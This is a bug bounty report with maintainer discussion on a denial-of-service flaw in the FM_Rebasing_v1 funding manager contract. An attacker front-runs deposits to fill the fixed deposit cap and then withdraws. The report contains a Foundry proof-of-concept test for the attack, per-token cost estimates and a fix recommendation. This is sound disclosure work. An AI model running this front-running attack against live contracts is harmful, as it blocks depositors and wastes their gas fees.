Large token holder can permanently brick `FM_Rebasing_v1` deposits

[hats-bug-reporter[bot]]

Github username: @0xfuje Twitter username: 0xfuje Submission hash (on-chain): 0x7a4ed70844388a628a698c76306972e99f6d78b0e2fd48c4c6b4ad4ff7da4fcc Severity: high

Description:

Impact

Permanent denial of service of rebasing funding manager, gas griefing of depositors since their deposit will revert

Description

The root of the problem is that the DEPOSIT_CAP of rebasing funding manager is fixed and can be easily reachable to a large token holder, especially if the token has a low $ per wei ratio or a token with high decimals (more on this in #145). This is essentially a zero-cost griefing attack, if we are not including the gas fees, which are minimal because the project plans to deploy on OP, Linea and Polygon currently and _deposit() is not a very gas intensive operation. I can provide calculations with mainnet fees if needed.

Proof of Concept - Described

1. Funding manager is initialized
2. First user tries to deposit 10_000 * 1e18 tokens to FM_Rebasing_v1
3. Attacker front-runs to deposit with a DEPOSIT_CAP amount of tokens
4. User's tx reverts
5. Attacker back-runs to withdraw all their tokens
6. Repeat with every new user
7. Deposits are impossible as long as attacker front-runs each one
8. If users try to place higher gas-fee for TX attacker can additionally grief them with losing said gas-fee with front-running it with even higher gas fee

Deposits already in place scenario

If there are already deposited funds, the attacker can spend alreadyDepositedFundsInFundingManager less to reach the DEPOSIT_CAP to brick all new deposits.

FM_Rebasing_v1.sol - _deposit()

    function _deposit(address from, address to, uint amount) internal {
        // Depositing from itself with its own balance would mint tokens without increasing underlying balance.
        if (from == address(this)) {
            revert Module__FundingManager__CannotSelfDeposit();
        }

        if ((amount + token().balanceOf(address(this))) > DEPOSIT_CAP) {
            revert Module__FundingManager__DepositCapReached();
        }

        _mint(to, amount);

        token().safeTransferFrom(from, address(this), amount);

        emit Deposit(from, to, amount);
    }

Proof of Concept - Coded

1. navigate to FM_Rebasing_v1.t.sol
2. copy and paste the below proof of concept:

3. run forge test --match-test testDepositBrick -vvvv

   function testDepositBrick(address haxor) public {
       // SETUP START
       vm.assume(haxor != address(0) && haxor != address(fundingManager));
       address user = vm.addr(35_892);
   
       uint depositAmount = DEPOSIT_CAP;
       _token.mint(user, 1);
       _token.mint(haxor, depositAmount);
   
       vm.prank(user);
       _token.approve(address(fundingManager), type(uint).max);
   
       vm.prank(haxor);
       _token.approve(address(fundingManager), type(uint).max);
       // SETUP END
   
       // 2. attacker front-runs deposit to brick deposit amount
       vm.prank(haxor);
       fundingManager.deposit(depositAmount);
   
       // 1. user tries to deposit but TX reverts
       vm.expectRevert();
       fundingManager.deposit(1);
   
       assertEq(_token.balanceOf(address(fundingManager)), depositAmount);
   
       // 3. attacker back-runs with withdraw
       vm.prank(haxor);
       fundingManager.withdraw(depositAmount - 1);
       assertEq(_token.balanceOf(address(fundingManager)), 1);
   }

Recommendation

Consider to allow an option to set a higher depositCap at initialization (and potentially a setter function for orchestrator admin). Consider to add fee functionality to FM_Rebasing_v1.sol funding manager: this would make it unpractical for an attacker to execute this griefing attack.

[0xfuje]

Mistake in the coded poc: forgot to vm.prank(user) before fundingManager.deposit(1), but works the same

[0xfuje]

Amount of funds needed per token for the attacker to execute this attack (only some of the +$300M market cap tokens not including the absurd amount of memetokens)

• Terra Classic: $9562
• Pulse: $4595
• eCash: $3341
• Bittorrent: $90
• APENFT : $43

[PlamenTSV]

Continuation of #145 as linked. If deemed valid by the other parties, will consider merging the 2 issues, this is just an exploit path of the original problem you reported.

[FHieser]

It actually goes hand in hand with 15, 38 and 47 We will check it out internally how to handle the combination of these in the next few days

[0xfuje]

I agree that #145 is a duplicate of #15, but I think this submission is a a completely different attack scenario from these and the mentioned ones. It has a different and higher impact: it would DOS the whole system and gas-grief all depositing users (until governance action) without the attacker needing to cost any capital besides the gas-fees.

I would also like to mention that this issue is not limited to certain low $ value per wei tokens (although it's easiest to exploit with those) but by the attacker's capital. If we take the recommendations of the mentioned submissions this is still exploitable if the attacker holds enough funds or if the orchestrator owner set too low settings at initialization (while attackerFunds > depositCap - userDepositAmount).

I think it would be beneficial to consider a setter function for depositCap (+ maxSupply for consistency), beside setting these params at initialization since then the whole attack can be fixed by one TX by the orchestrator owner with setting a higher cap, if the initial one was vulnerable. I mentioned this in the initial submission.